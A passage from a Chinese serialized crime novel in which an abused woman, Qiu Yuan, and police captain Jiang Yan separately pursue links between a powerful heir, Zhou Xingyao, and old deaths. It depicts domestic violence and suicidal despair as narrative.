她看了看自己的手,又看了眼身旁的人,他闭着双眼,睫毛密而长。那一刻她大脑一片空白,突然冒出的想法完全控制了她的大脑,伸手朝他的脖子靠近。
“小林……”
秋原的手僵在空中,无形的力量迫使她停了下来。
小林……是她曾被冠以的名字……殷思林……
也许让她知道那天之后所发生的事,便有足够的勇气下手,但她错过了,错过了很多很多次机会,使自己在这泥沼之中越陷越深,难以自拔。
以后的岁月中,她会恨眼前的人,还是那个怯懦的自己,也许不到最后一刻,问题始终无解。
42.未来没有未来 05
殷司源心情不好时会打她骂她,甚至是长时间关在小黑屋,带她参加酒局任由一些男人摆布,带不同的女人回来,强迫她在一边看着,甚至是沈榕。
看到秋原满身伤痕,只穿着一件吊带连衣裙时,沈榕不免得诧异。
已经入了秋,气温也逐渐凉了下来。
沈榕点了根烟,坐在沙发上,有意无意瞥向窝在沙发角里的秋原,她抱着双膝,眼神无神,一动也不动,胳膊腿上的伤痕触目惊心。
沈榕浑身不自在,别扭着挪了过去,拍了下她的肩,谁知她像突然受到惊吓似的一抖。
“咳咳,”沈榕尴尬地咳了一声,拿起自己的外套盖在她身上,“是殷司源打的?”
这才距离沈榕上次见到她多长时间,眼前的人竟然被摧残成这副模样。
秋原的眼皮抖动了一下,“不光他,还有他带回来的女人。”
秋原想起他带回来的女人,红唇,共同的一点都是格外漂亮。从什么时候开始的?那些女人无意中伤到她,本担心挨骂没想到竟得到了他的满意,从那之后便开始变本加厉,从中尝到了快感,便又有了下一次,更疯狂的下一次。
她们的指甲划破她的皮肤,火辣辣地疼,扯着她的头发,扇她的脸,气力不够了用脚,狠命地踹,似乎踹得狠便能获得奖赏。
这些发生时,他就在一旁看着,慢悠悠地品着酒,甚至放着音乐,似乎能从中获得无上的快感。
她嘴角流着血,身上多处淤青,起初还会反抗,但每到那时他便会出手,纵使她制服得住那些女人,却怎么也拗不过他。她逐渐看清他的把戏,他就是想让她表现出弱者楚楚可怜的模样,所以看他的眼神也从愤怒到逐渐失色,冷漠地望向他,黑暗在眼前聚集,快要将他吞噬。
“能给我根烟吗?”
沈榕递给她,并帮她点上。
她没想到她会抽烟,明明那么循规蹈矩的一个人。
“你怎么认识他的?”沈榕既想表现得不那么在意,又忍不住一探究竟。
“回来之前,我被他父亲收养。”
“他为什么这么恨你?”
恨我?呵,他应该是恨我的……
“反正他没回来,你为什么不跑?”
跑?呵,“跑不掉的……”
刚说完,门锁的声音。
殷司源怒气冲冲地进门,看到了秋原径直快步走过来,掐着她的脖子一字一顿低吼:“老家伙死了,你开心吧?嗯?”
吓得沈榕在沙发上退了一段距离,她从没有见过他发火生气,至少接触中他是一位很有教养很得体,甚至是很体贴的人。
沈榕仓皇而逃,一刻也没有停钻到按摩店,大口喘着粗气,仍觉得心有余悸。
玲姐耳朵很尖,听到动静就知道是她回来了,破口大骂:“你这个没良心的狼崽子还有脸回来?老娘的店是你说想来就来……”
看到她失魂落魄的模样,玲姐停了下来,“怎么?又闯什么祸了?”
沈榕想了想,“不对,我应该报警。”
“什么呀你就报警?”
听沈榕说了遍事情的经过,玲姐并不赞成她报警。
“小心找你麻烦。”
沈榕想了一下,大喊一句“我知道了”又冲了出去。
出门迎面撞上一个人。
“走路不长眼睛啊!”
“小榕终于找到你了,我每天都过来一直找不着你,终于让我见到了!”
“于天怎么又是你?我都跟你说过无数遍了我不喜欢你你不要再纠缠我了!我有事没功夫跟你瞎扯!”
说完绕过他跑远了。
“哎小榕!”男孩恋恋不舍地望着她的背影。
敲门声,殷司源从沙发上起身走到门口,狠着脸说:“你叫的警察?”
秋原艰难地从地上爬起来,趴在沙发上,直视着他的目光,毫无惧意。
殷司源见状,抓了一件他的长款外套丢了过去,随即开了门。
“什么事?”
“您好,我们物业的工作人员需要检查下燃气管道,不知您现在方便么?”
“方便,当然方便。”话虽说着,但他的眼神却一直盯着后面的那人。
“您方便给我带下路么?”
殷司源瞥了眼后面的人,笑着对工作人员说:“这边。”
后面戴帽子的人并没有跟着去,反而走到秋原面前。
秋原还奇怪,一抬头眼前的人竟然是江岩。
“怎么是你?”
“这什么情况?”
“没
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事。”
“那个叫殷司源的人打的?”
“不是。”
江岩蹲下身平视着她,“出了什么事?”
秋原抹了一把脸,看着他说:“没事,朋友,在外面不小心摔的。”
“如果你现在不说,我没办法帮你。”
秋原扯着嘴角笑了,“帮我?我不需要任何人的帮助,江警官费心了。”
殷司源和工作人员说着话走回来,江岩起身走到门口。
殷司源笑着走到秋原身旁,搂着她的腰把她扶起来,“家人出了点事,见笑了。”
江岩警惕地看着他,他亲昵地吻了吻她额头的伤疤。
“谢谢您的配合,打扰您了。”
两人离开后,殷司源一松手,秋原软塌塌地倒在沙发上。
他居高临下着说:“看来,你还真有个好妹妹啊。”
秋原抓着他的衣角,仰视着他近乎哀求道,“求你别伤害她。”
听完这句话,殷司源的眼神更加冰冷,蹲下身细细端详着她的脸,“呵,我打你的时候,你怎么不求我?嗯?”
秋原咬着牙,迎着他的目光没有言语。
“为什么不求我?嗯?是不是觉得无所谓?是不是觉得我不会打死你?”说着,殷司源抓着她脖子的手加了力道。
“还是你不怕死?一心求死啊?那我成全你?”
她想起他之前问她是不是很开心,那个不可一世的男人在牢里自杀了,可她没有,甚至有些愧疚。
秋原费力地吸气,用力扣开他的手,柔弱得像是案板上的猎物,却带有鲜活的挑衅,一字一顿钉在他心口上,“你不也,开心么……”
殷司源手上的力道渐渐松了,坐在沙发上。
还没等秋原反应过来,已经被他拉着丢在了小黑屋里。四面八方而来的压迫感汹涌而至,而她连挣扎的力气都没有。
殷司源靠着墙面,逐渐滑到地板上坐下。那句话一直他脑海中响起。
“你不也,开心么……”
他是开心么?那个害死他母亲的人,那个对他百般欺辱,让他生不如死的人,终于可怜巴巴狼狈不堪地在灰暗不见天日的监狱里结束了自己的生命,他开心吗?他想笑却笑不出来,他悲伤吗?不他一滴眼泪也没有。
43.未来没有未来 06
警察局,小刘一大早到办公室发现江队在凳子上睡着了,给他披了件衣服,理了理桌上的文件。
刚侦破一件大案,队里的人连着高强度工作十几天了,昨晚上还说让早些回家好好休息,自己倒好没日没夜地加班。
文件中一张照片掉在桌上,一个面容清秀的男孩,贴着的便签纸上写着“殷司源”这三个字,这个队长又在查什么东西。
放在旁边一摞文件上一张倒扣过来的照片,小刘把文件放上去,照片翻过来一看是周星耀,看了熟睡着的队长,忍不住叹了口气。
乔树买了早餐,“吃了没?”
“吃过了。”
乔树接了杯水坐在办公桌前,小刘没忍住凑了过去,“乔如意?”
“干嘛?”看着小刘一幅扭扭捏捏的模样,乔树就知道没啥好事,“有话快说。”
“我刚,在江队桌上看到周星耀的照片,怎么,江队还是怀疑他?”
“虽然现在没有有力的证据,但江队的怀疑一般都不会平白无故。”
“那也没可能,这么多起案子,都跟他有关,还都什么都查不出来吧?”
乔树思索了一下,他也不是十足的确信,那几起案子跟周星耀是否有关系。
“还有啊,殷司源这个人是谁?跟周星耀有关系吗?”
“殷司源?”
“对啊,我刚还看到周星耀的照片,人还长得不错,不会又是个嫌疑人吧?”
乔树想起沈榕来警局找江岩,说是秋原被殷司源这个人绑架,但事后江岩又没说这件事处理得怎么样了。
九点多,乔树坐在江岩办公桌上,敲了敲桌面,“别睡了,一会儿来领导了。”
江岩一幅没睡醒的模样,揉着眼睛站起身活动了筋骨。
“昨晚上没回去查这个人了?”乔树举着殷司源的照片,“有什么问题?”
“没什么问题。”
“没问题?”乔树显然不相信自己听到的这个答案,照理说江岩盯上的人无论大小事总会有点猫腻,从没听过他说没问题这几个字。
“那你查他干嘛?”
江岩把文件丢给他,“自己看。”
“这个难道是,秋原?”
“是她。”
乔树翻了几页,快速浏览关键信息,“那也就是说,当年她掉下河里,没有死,随水流到了溪汀市,在溪汀市被救起,进了孤儿院,正巧新市长发起关爱孤儿的活动,为树立形象稳定民心,带头领养了一个孤儿,就是当时的沈泠?”
江岩点点头不做声。
“也就是说,沈泠改名为殷思林,当时殷市长的儿子,也就是殷司源就成了她的哥哥。后来,殷市长怎么落马了?”
“说是有知情人士举报。”
“知情人士?”
“对,有人说是一个女记者,但没有证实。上个星期,这位前任市长在监狱自杀了。”
“那之前沈榕说,绑架秋原的,就是殷司源?他为什么绑架她?你当时去了怎么个情况?”
“秋原不说,这事没法插手。”
“不应该啊?这其中还有什么隐情吗?他们之间牵扯匪浅。”
江岩想起秋原脸上,大衣盖不住的小腿上的伤,一时间满目愁容,“先别管这些了,周星耀跟康静山的见面确定了吗?”
“这两个人的见面极为隐蔽,多挑在不会引人注目的时间,我让小高跟了几个月才摸出来点线索,周星耀每次都会让不在他名下的车去接康静山,每次的车,司机,时间都不确定,见面地点基本在周星耀旗下的地盘。周星耀很少亲自去橘子酒吧,仅目击到一次是在康静山跟余海发生纠纷之后。”
乔树把手里的文件放下,江岩不知又在思考什么。
“这么多起案子,康静山是有涉足的嫌疑,但你怀疑背后的人是周星耀,但眼前哪怕一丁点跟他有关的线索都没有,除了跟他接触过的康静山。”
“你想说什么?”
“我不是质疑你的判断,你说这几起案子嫌疑人都解释得合理毫无破绽,这点确实值得商榷,但有一点,明面上光康静山的干系都可以撇得很清白,更何况……”
江岩不言不语。
乔树走到他面前弯下腰抓住他的肩膀,“江岩!”
江岩抬眼略有迷茫地看着他,眼神中有些倦意。
“这段时间你太累了,回去休息。”
“不是说一会儿……”
“我挡着,你回去休息。”乔树眼中带有毋庸置疑的命令意味。
江岩笑了,起身拿起外套,拍了拍乔树的肩膀。
原本江岩打算去看看璃月,又怕自己现在的状态惹她担心,一个人坐在长椅上抽烟。
他忍不住问自己,自己的判断是正确的么,还是不过一场空,当上警察这么多年了,连害死妹妹的真凶都没有抓住。他曾经是救过很多人,受伤的妇女,孩子,老人,年轻人,也曾抓住过很多作恶之人,他相信着正义,相信罪恶早晚会付出代价,就像他一贯做的那样,因为他不知道如是连他自己都难以相信的话,妹妹的死该找谁来负责……
“哟,那不是你儿子嘛?”
“我儿子上班去啦,怎么会是他呢?”
“你看你看,那不就是!”
“江岩?”
江岩抬头,母亲和许阿姨在两米开外。
“真的是你啊!”
“我就说嘛!我这儿眼神!行了你们母子俩聊吧我先回去了。”
母亲坐在旁边,手里缠着布袋子。
“怎么下班了?出什么事了?”
江岩胳膊撑在膝盖上,像是小时候犯错被母亲抓到,“没事,提前下了。”
“哦那就好,前两天月儿来看我和你爸,还买了不少东西,你说说这姑娘,别老带那么多东西,我跟你爸哪儿用得了。”
“嗯。”
“不过月儿真是个好姑娘,也不知你是哪来的福气遇见这么好的姑娘。”
江岩没忍住笑了,想起璃月的的模样,笑意更浓了。
他们第一次见面,是江岩因公事去她的学校,可能一身警服有些扎眼,路上的学
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生频频回头,离开时在校门口,被一个女孩拦了下来,想要他的手机号码,自然是没有得逞,谁知后来偷摸追到了警局,来来往往跑了几趟旁敲侧击,谁知道真就被同事出卖走了个人信息。
“我明年大学毕业,虽然接下来我还准备继续读书,但我爸妈说了大学毕业随意我嫁不嫁人。我想好了,毕业我要嫁给你,你不娶我没关系,我早晚有一天会嫁给你的。”
江岩显然对她这种无理的言论毫不理会,但柯璃月的倔劲儿上来了,软磨硬泡最终把江岩追到了手。
柯璃月从小娇生惯养,但对他的工作从来都是格外理解,爽约的约会,迟到的见面,她从来没有过一句怨言。
她生日那天,两人吃晚饭,菜才吃了两口,江岩的电话响了。
柯璃月没有问,看他的表情就知道了,拿起包先走了。
倒着走路朝他喊:“我很开心,有你陪我过这个生日,不过现在,小仙女要赴下一场约啦,你别留恋,诚心向上天祈祷的话,小仙女会给你下一次机会的!”
说完朝他挥挥手大步走了。
那时江岩突然认定,她就是自己最后的归宿。
他抬头看了眼母亲,一下子惊呆了,在母亲的笑脸中看出莫大的落寞,她定是想到了江黎,父母都格外喜欢女儿,而他们唯一的女儿却走了很多很多年了。
“妈……”
“嗯?”
那句对不起如鲠在喉,怎么也说不出口,“我……我想吃你做的菜了。”
“行,妈去菜场买些你喜欢的菜,让你爸也回来。”
“好。”
“你也早点回来啊,别让你爸多等。”
“知道了。”
母亲的步伐也略蹒跚,年纪大了走路也小心起来。
江黎仍然是他们母子之前无法提及的敏感话题,母亲有多爱江黎呢,用了十多年才得以直视她的亲生儿子。他们之间有堵墙,十年前随着江黎的死拔地而起,要是他听了母亲的话拿上伞去接江黎,也许这一切都不会发生……
江岩进了家门,柯璃月听到动静从厨房蹦跳着过来,手里还拿着筷子。
“你怎么来了?”
“阿姨给我打电话了,说你今天休息了,我想见你,嘻嘻。”说着露出不好意思的笑。
江岩把她拥入怀里,闭上眼闻得到她身上甜甜的味道。
“累坏了吧?”说着一只手轻轻抚摸他的后背。
“咳咳。”父亲从书房出来,也不看他们两人,“我去看看你妈饭做得怎么样了。”
两人忙分开,柯璃月笑着仰视着他,突然钩住他的脖子踮起脚轻轻吻了他的嘴唇,看着他的眼睛说:“小仙女赏你的。”
说完一溜烟凑到了厨房。
那一刻江岩突然有种天旋地转的感觉,双脚踩在虚飘飘的软土上,身体不受控制地漂浮起来,眼前的一切在他的注视下分崩离析,反而是江黎的面孔,在所有东西远离他的同时,愈来愈清晰,她扎着双马尾,背着书包干净利落,静静地看着他,神色格外平静,成熟得不像话。
44.未来没有未来 07
秋原踉跄着走在步行街上,披着男式大衣,没有人注意到她,更别说是她的异样,她像空气一样纯到不能再纯,光再强些,她就可以蒸发掉彻底不见。回到出租屋,脱下连衣裙,水温开到最热,攥着拳头咬牙撑了会儿,伤口才不那么疼。
从盒子里摸出安眠药,比平时的药量多了一倍,就这么咽了下去。躺在有自己气息的床上,昏昏沉沉地睡过去了,但梦里也不踏实。
救助站的女人死了,明知道她死得不明不白,可自己还是理所当然地活着,将她抛掷脑后,吃饭睡觉工作按部就班。再后来姜雪峰出狱成了生活的唯一念想,见他一面问清楚当年的事就是那时全部的坚持,可还没搞明白,他跳楼自杀了,当年的事也一筹莫展,而她依活着。现在殷司源找上门了,她的生活不能再糟了,在她以为已经够糟了的时候,生活总会给她惊喜,让她见识到什么是生活的真面目。
那几天她一直在思考,看着自己的掌心思考,望着飘动的窗帘思考,盯着无穷的黑夜思考,她在想,我为什么还活着?为什么回到这里?有殷司源在,她好好生活的可能性有多大?她搞清楚那些事的可能性又有多大?
她陷入了深深的自我否定和质疑,做不到就凭她根本做不到,连自己的生活都搞不妥当,更何况搞清楚那些戴着面具站在帷幕后面的人。
生活没有教会她如何对面,只推搡着她上了台面,她像个小丑,像个木偶,干巴巴的日子风雨飘摇。
休息了一段日子,脸上的伤口不那么明显后,秋原回到了酒吧上班。她变得比以前更安静,除非有必要一句话也不说。
“你……”麦子梗着脖子盯她看。
秋原躲闪着目光不去迎上,她愈来愈怕别人的眼神,灼热得太过刺眼。
“你脸上怎么了?南哥你也看出来了是吧?”
耿山南轻拍了下麦子的后脑勺,虽看不明显,但还关切地问,“出什么事了么?”
秋原勉强笑了笑,“没事,不小心自己撞到了。”
“要是有人欺负你哦,你就说,我可能打不过,不还有山南哥川哥呢,再不行还有康哥呢!肯定能给你报仇。”
麦子说得理所当然,听着这话的秋原,险些没绷住,急忙说:“我,我去躺卫生间。”
走在太阳的光芒下,时间久了还会有些热燥,不过这样的热量,是秋原稀缺已久的。
一辆黑色轿车从对面拐了过去,她无意中瞥见了车牌号,毫无在意顺势低下了头,旋即想起了什么,猛地抬起头,不顾红灯冲了过去,一辆车急刹车停在路口,司机探出脑袋大骂:“不要命了红灯看不见啊!”
她顾不上这些,径直跑了过去,气喘吁吁地追了一条街,停下来弯着腰手撑在膝盖上喘着粗气,远远地看见那辆车停在酒吧后门不远处。
8140
这天晚上她都心不在焉的,时不时往楼梯上瞟。
“秋原你怎么了?”岳楼看她有些反常,关心地问道。
“啊?没事。你知道楼上谁来了吗?”
“有人来了吗?没注意。”
“噢。”说话间,康静山房间走出一个人,只一刹那,秋原想记住那个人的模样,可越是用力那一幕就越是模糊。
到最后她只记得一片光亮,巨大阴影中的光。
她快速穿过人群,走到后门,外侧楼梯上的脚步声愈发清晰,没有话音,她从门缝里望去,三两个穿着黑西装的人,上了那辆车。
她满腹疑惑地回头,被身后站着的人吓了一跳,捂着心口说:“麦子你怎么在这儿?什么声音都没有。”
“你在干嘛?”
“我?我没事啊。”
麦子显然难以信服。
秋原冷静了一下,试探着说:“是……玫基哥哥?来了吗……”
“哦是吗,我说川哥怎么让我在楼下注意点。”
“你见过他么?”
“谁啊?”
“玫基哥哥。”
“见过啊,怎么了?”
“哦没事。”
麦子一头雾水看她回去了,“女生就是莫名其妙。”
在酒吧待久了一个好处就是能够认识各种各样形形色色的人,距离酒吧几百米开外的树影下,秋原低声跟一个男人说着什么。
眼前的人极善于搜集各种信息,高价卖给有求之人。若说有何好处,就是他不属于任何人,不必担心陆川和康静山知道她私自跟客人联系,但隐患就不止如此了,价高者得消息,保不齐谁动了心思出了更高价把她抖落出去。
明知如此,秋原还是找到了他,仅凭她自己要想抓到那些人背后的线索,堪比登天。
“没想到啊,你也会来找我。康老大知道吗?”头戴鸭舌帽的男人看不清样貌,听声音年纪不大,知道他的人都叫他蛇尾。
秋原收起手里的照片,“这件事我希望只有你跟我知道。”
“哈哈,康老大不知道你就敢跟我做买卖,要知道仅凭这一点就够我赚的了。”
秋原静静地看着他,极力分辨他眼里的情绪,究竟是笑话,还是真有此心思。
那人不知是否看出她的思虑,转而松了口,“你要是,还有什么想知道的,可以再来找我,不过接下来的信息,可就不是这点钱能买下的了。”
“剩下的你不用管了,有问题我会再来找你。”
男人趁着夜色走了,悄无声息。
看着浓浓夜色,她不知为何有种感觉,自己某一天,也会在这样不见天日的暗夜中消失,谁也不知道,她回来过,她又做过什么,就这么无声无息地蒸发掉……
想到这儿,她攥紧了手里的照片,咬着牙关在树下走了好几个来回才逐渐平静下来。
不知怎么,竟然走到了警察局门口。已是后半夜,想来此时也定不会在,只随口问了句值班的人,没想到江岩竟真还在。
江岩递给她一杯热水,坐在她对面,“想好了?”
“嗯?”
江岩看她有些心绪不宁,“出事了?”
“你之前说,周星耀和,和康静山……他们,你查出来什么吗?”
“你发现什么了?”
“8
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470.”
江岩不知这是什么意思,“8470?”
“江黎跳楼前,我偷偷去看她,没敢进去,后来她从楼上跳了下来,当时有人去见过她,我记得这个车牌,那个人看到出事后,笑着上车了。”
“……然后呢。”
“我查了一下,这辆车的车主是周显国,十多年没有用过,但仍在他名下。”
“周显国?周星耀的父亲?”
“对。”
“周显国不是,三年前就死了吗?”
秋原摇摇头,“我也不清楚,不过既然是周显国的车,那周星耀用这辆车自然也不足为奇。”
正说着,乔树跑了进来,“江队,发现周……”
看到秋原也在,他的话戛然而止。
“你接着说。”江岩看也没看秋原,直接这么说了。
得到队长的批准,乔树这才接着汇报,“小高那边来消息,今晚上康静山在周星耀的酒店,待了将近三个小时。”
“怎么现在才有消息。”
“小高那边,被人缠上,不知是不是身份被发现了,好在他身手不错溜了回来。”
“这一段时间,让他多留个心眼,有问题立刻撤退。”
“是。”
乔树看了眼秋原,退了出去。
“你为什么会告诉我这些?康静山怎么也说得上是你,救命恩人?”
秋原不太愿意回答这个问题,江岩便不再勉强。
“你什么时候发现他们两人的交易的?”
“差不多一年前。”
想来具体细节他也不肯透漏,秋原便没有追问下去,硬是把心里的闹得直痒痒的好奇压了下去。
“你觉得,周显国,周星耀,跟江黎有关系吗?”秋原看着对面的人,压抑着内心迫切的问题,尽可能表现得没那么关心。反倒是江岩的反应,挫伤了她的意气。
他全程并没有表现出惊讶或是多余的感情,听了她的问题,公事公办极为冷静客观地说:“没有证据证明江黎死前见过什么人,你记下的车牌号和当时的人也很有可能是巧合,再说时间久了,你说的真实性也有待查证。”
秋原机械地离开了警局,在空荡荡的路上徒步走回去,路灯隐在枝叶中,晕黄的光沿着马路铺了老远望不到头,她在树下走着,没有影子。
知道车牌号是周星耀父亲名下后,她有种强烈而不好的预感,想找江岩求证,没想到迎面一盆冷水。
乔树听到江岩的话还挺惊讶,他曾就姜雪峰的死对他的反驳,没想到此时在这儿重现了,但这角色的对调却实属不易。
站在窗前的江岩一言不发,从裤兜里摸出烟盒,倒出来一根烟点上,深吸一口推开了面前的窗户。
乔树不知道他此时在想什么,姜雪峰见过什么人,不久后跳楼自杀了,当年病房里的江黎,突然毫无预兆地跳了楼,再加上秋原所说曾对跳楼现场露出笑的人,这些都是巧合吗?周显国横死三年,周星耀上任嘉海掌舵人三年,他们跟那些事究竟有没有关系。他不知道他心里是否已经有了答案。
45.未来没有未来 08
周星耀因为经常犯事是局里的常客,打架飙车聚众斗殴破坏公物违反公共秩序等等等等,罚了钱批评教育最后都安然无恙地被接走了。
唯一一次是申力博被杀案曾一度被怀疑是嫌疑人。
申力博是家纺产业巨头申旭坤的孙子,到他成年申家的产业已经开始没落了,到底瘦死的骆驼比马大,申家的家底还在,可申力博是个娇生惯养的公子哥,追求刺激不说,硬是染上毒品葬送了申家的产业。
申力博在高速路上出车祸,当场死亡,此前他曾报案周星耀要对他下手,沸沸扬扬闹了一大出戏,后来盘查他身边的人确实发现二人因为一些生意上的事闹得不愉快。
他出事后出现许多周星耀谋杀其的传言,局里要求肖队彻查此案,任何疑点都不能放过。
而肖队调查后发现,周星耀有完美的不在场证明,事发前一周不在国内,与申力博并无联系,再加上事故现场的证明,申力博吸毒后驾车,出现精神恍惚,追尾大货车当场死亡,这个案子最终还是以事故画上了句号。
那时候肖队就注意到了周星耀。
周星耀狂妄蛮横,有着年轻人不可一世的傲慢,但同时逻辑清晰,谈吐不凡,看得出智商情商高于常人,面对警方的盘问表现得游刃有余,丝毫没有疑点。
不知为何,肖队感到了一种被戏耍的尴尬。奈何没有证据,也只能放人。
果然不出他所料,几个月后市中心的一酒楼发生一场暴力事件,一孕妇大出血送医抢救无效死亡,受伤人数高达三十几人,参与其中的四十多人全部落网。
周星耀自然不在场,跟在场的任何一人都无关联,但出事后不久那栋酒楼就归在他名下,直到那时震惊全市的暴力事件过去近一个多月了,已经没有人再关注这件事。
肖队也是偶然间得知此事,不免对周星耀心生疑虑。
如果背后的人是他,那他能把自己撇得这么干净,也着实费了番功夫,但为何又在出事后把酒楼归到自己名下,是连警察的怀疑都毫不担心吗。
肖队调走前,江岩刚到局里报道。掀起热议的女大学生性侵被害案刚告一段落,这个持续了半年多的案子最终以犯人的自首画上了句号,但舆论并未平息。女大学生徐佳禾本来应该在那个六月毕业的,她拿到了不错的offer,毕业论文也得到了老师的好评,迎接她的本该是美美的毕业,开启人生的又一段旅途,但最终那些花花绿绿满是梦幻的未来破碎在了城郊的污水处理场。
最先发现的人拍下了尸体照片放到了网上,一下子点燃了人们的“正义感”,女大学生徐佳禾性侵被害案传得人尽皆知,而警察一方则一筹莫展,民众纷纷施压警局,引得上头领导重视,但还硬是拖了半年直到犯人自首。那时候须燕市警察公信力度一度降到最低。
肖队走前犯人已经定罪了,但他还是从头到尾把这件案子详细交给了他,并希望他继续调查下去。
江岩跟着肖队去见过几次犯人,一个看起来老实巴交的工程师,头发全白了,看起来比实际年龄大一些,谈吐儒雅,即使在牢里也看得出跟其它犯人不一样,他是出事半年后才自首,这点让肖队,以及江岩对他持有怀疑。
据工程师坦白,他一开始觉得自己能蒙混过去,但日子过得越久良心上越过不去,晚上睡不好经常从梦中惊醒,以为自己被抓了,工作也频频出现失误,老板停了他的职,妻子跟他关系本就不和,那之后更是几乎没了联系,女儿也跟着妻子走了,最终不得已选择了自首。
而关于作案动机,他则归咎于醉酒后的一时冲动。
肖队曾探访徐佳禾的同学,她们中有些已经工作了,有些还在继续读书,但并非所有人都乐意提及“徐佳禾”这个名字。
从徐佳禾室友那里拿到一张她的照片,出去玩路上室友随意转身抓拍的,他发现背景一辆略显突兀的豪车,车牌后来查到在周星耀名下,这也是他将这件案子跟肖队此前案子联系到一起的关键。
但周星耀有不在场证明,也没有人见过两人之间有过联系,他心里的疑虑也难以证实下去。直到接到调令,只能寄希望于新来的这个看起来稚嫩的“愣头青”。
“要是你不查了,这案子就没人知道真相了。”
这句话是肖队走前说给江岩的最后一句话,他深感其中的分量,不仅仅是因为自己也曾亲身体会过其中的痛苦,更是亲眼看着徐佳禾从农村来的父母给肖队跪下。
那时候舆论对警察全是负面,耗时半年也是犯人主动自首才得以结案,局里的人都蒙受着巨大的屈辱,但他们还是泪流满面跪下感谢肖队。
他们哭着说了很多很多,全部都听在江岩耳朵里,刻在他心里。
他们只有一个女儿,却早早送了她。她背着痛苦和绝望走向了人生的终点,她怕黑怕疼,可不知道死之前一个人该有多害怕多疼痛。要是女儿没那么争气学习不好,也不会考来这所大学,要是他们顽固些让女儿高中毕业后工作结婚,她也不会离开他们。
他们小心翼翼地活着,就连女儿被人害死了也在找自己的原因,如履薄冰般生活着,躲藏着不知何处冲过来的恶意,可即便如此,坏人并不会收敛锋芒,还是依旧猖狂,他们还是失去了女儿,她也失去了生命。
高副局办公室,江岩沉默得不同以往,要是他炸毛上蹿下跳,高局倒不以为然。
“乔树说你有话要说,给你三分钟,说吧。”
“当初调查江黎案子的人,是你。”江岩尽可能克制着语气。
副局一脸不解,还是耐着性子说:“你这是怎么了?又抽到哪根筋了。”
“江黎跳楼前,出现在她病房外的人,是周显国还是周星耀?”
即便高副局不怎么关心案子以外的东西,但也知晓这两人,“当年调查的结果,跟他们二人均无关。”
“是你亲自调查的?”
“你这是在审问我?”
江岩收敛了情绪,垂下眼帘低声道:“我错了。”
高副局叹了口气,“当年这个线索是李辉俞负责的。”
“李辉俞?难道是上次来的李老?”
“是他。”高副局顿了下才接着说:“不过我后来再查的时候,没有发现任何问题。”
江岩思索了片刻,起身就走。
“江岩!”高副局叫住了他,“之后的调查,
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把握分寸。”
“明白。”
回到出租屋,秋原一直没睡,想着消息贩子蛇尾说的话,想着江岩的话,所有的碎片都摆在了她面前,拼起来就可以一探究竟,可她怎么也不敢,还能当自己什么都不知道。她怎么都没有想到,最后跟这些牵扯上关系的,竟然是康静山。
黄昊军是周星耀的人,康静山也是。
她没跟江岩说,蛇尾当时曾以为她未成年,无意中说到,周星耀就喜欢她这种年轻漂亮的小姑娘。
十年前,周星耀即将成年。
秋原一进酒吧门就看到了康静山坐在吧台前的高登上,跟其他人说着什么,她在门口驻足良久,终于还是缓缓走到他面前。
其他人都不解地看着她,唯独康静山,悠闲地品酒。
她开口了,声音比想象中冷静多了,却感觉是朝自己心口扎了一刀,揪着心痛,沉声说:“你知道我是谁吗?”
陆川和耿山南都察觉出不妙,只有一旁的麦子哈哈大笑,“秋原你知道你在说什么吗?你是谁啊你还能是谁啊?”
见他不答,她接着说:“一开始,你就知道,是不是?”
陆川疑惑地说:“秋原,你说什么呢?”
“你一开始,你就跟他一伙的。”
“秋原说什么呢?”
“周星耀对不对?”她终于把那个名字说出口,“你把我留下,杜绝后患是吗?你替他……下一个要除掉的人是不是我?”
康静山靠着吧台,轻描淡写地说:“对,我知道你是谁。”
秋原拔出腰间的刀指着他的脖子。
陆川从凳子上起身,低吼一声“秋原!”
麦子和耿山南也惊讶地站了起来。
“你做这些事,不怕遭报应?”
“报应?这样的话不像你会说的。”
“我?”看他如此理所当然的模样,秋原有些失控,尖着嗓音道:“别拿我跟你相提并论!你亲手杀了你父母,你毫无人性!”
秋原在他身边待了这么长时间,她清楚他的软肋,即便说出这几句同样让她痛心,但她还是义无反顾地做了。
康静山的眼神有细微变化,身体往前倾了些,刀尖抵在他脖子上。
“你以为我不敢杀你?”
“不会做的事,何必虚张声势。”
秋原咬咬牙,握刀的手不自然地颤抖,她突然有些恨,恨自己这么轻易被他看穿,恨自己果真如他所说,她怎么可能下得了手……她把刀慢慢放在吧台上,眼底雾蒙蒙的,像是脱下了铠甲,哽咽着说:“你救了我很多次,帮了我很多很多,要没有遇到你,我可能早就不在了,我想问你,你有哪次,是真正关心我的吗?”
“没有”这俩字从康静山嘴里云淡风轻地说出,毫无异议。
她应该想到的,她早该想到的!只不过安逸的生活让她变得困顿,让她懈怠。
是啊,他从来都是最理性的人,也同样是最冷漠的人。
他不爱任何人,也不渴望任何人的爱。
这样的人,却惹得那多人的在意。
他无罪,亦是原罪。
是她太蠢了。
46.未来没有未来 09
“我明白了,”秋原抹了下脸上的泪水,“谢你的话想必你也不想听到,之后要是再见到,你也不必对我手下留情。”
她把刀郑重地放在桌上,“这把刀是当初我来的时候,你给我的,现在还给你。”
说完转身离开,眼泪终于难以抑制地落下。
“秋原!”麦子嘀咕了一声,作势要追出去,看了周围人的脸色,还是没有了下文。
行人见她这副模样无不闪躲,这番对峙已消耗了她巨大的体力,感觉身体轻飘飘地不属于自己,走了没多远跪倒在地,蒙着脸嗷嚎大哭。
她再也回不去了。
再也没有可以自欺欺人的依靠了。
秋原无助地在街头游荡,每一个人看起来都是那么亲切,又是那么陌生,她想抓住什么,能撑住自己打颤的双腿,她想找个人说说话,说一些她憋在心里好久的话。
过往漫长的岁月中孤独从来都不陌生,但从没像这一次一样,击溃她的心理防线,让她溃不成军,而在这一刻,她才真正意识到自己是独自一个人,从始至终,一直一直一直都是孤身一人。
从出生就被抛弃的人,妹妹的到来没有带给她任何欢喜,反而是她痛苦的开始,她彻底成为了一个多余的人,谁人都不喜欢,谁人都看不顺眼,低着头缩着脖子像个异类一样存在着。
直到,直到一个善良的女孩子,帮她补习功课,给她撑伞,那样一个善良的女孩,却因为自己永远留在那一年雨日了,该消失的人明明是她,那样善良的女孩怎么能受此遭遇呢,从那之后,背负着罪恶,直到女孩的生命结束,她的罪恶永远无法消失了……
因为她,江黎死了,因为她,殷司源的家毁了,因为她,阿姨连同救助站许多流浪动物命丧火海,因为她,姜海蓝的父亲跳楼了。
明明是格外谨慎小心地活着,连呼吸都控制着节奏,可为什么,还是伤害了那么多人……
秋原茫然地走上了路口,是鸣笛声吗?还有尖叫声,这些声音都过于喧嚣了。
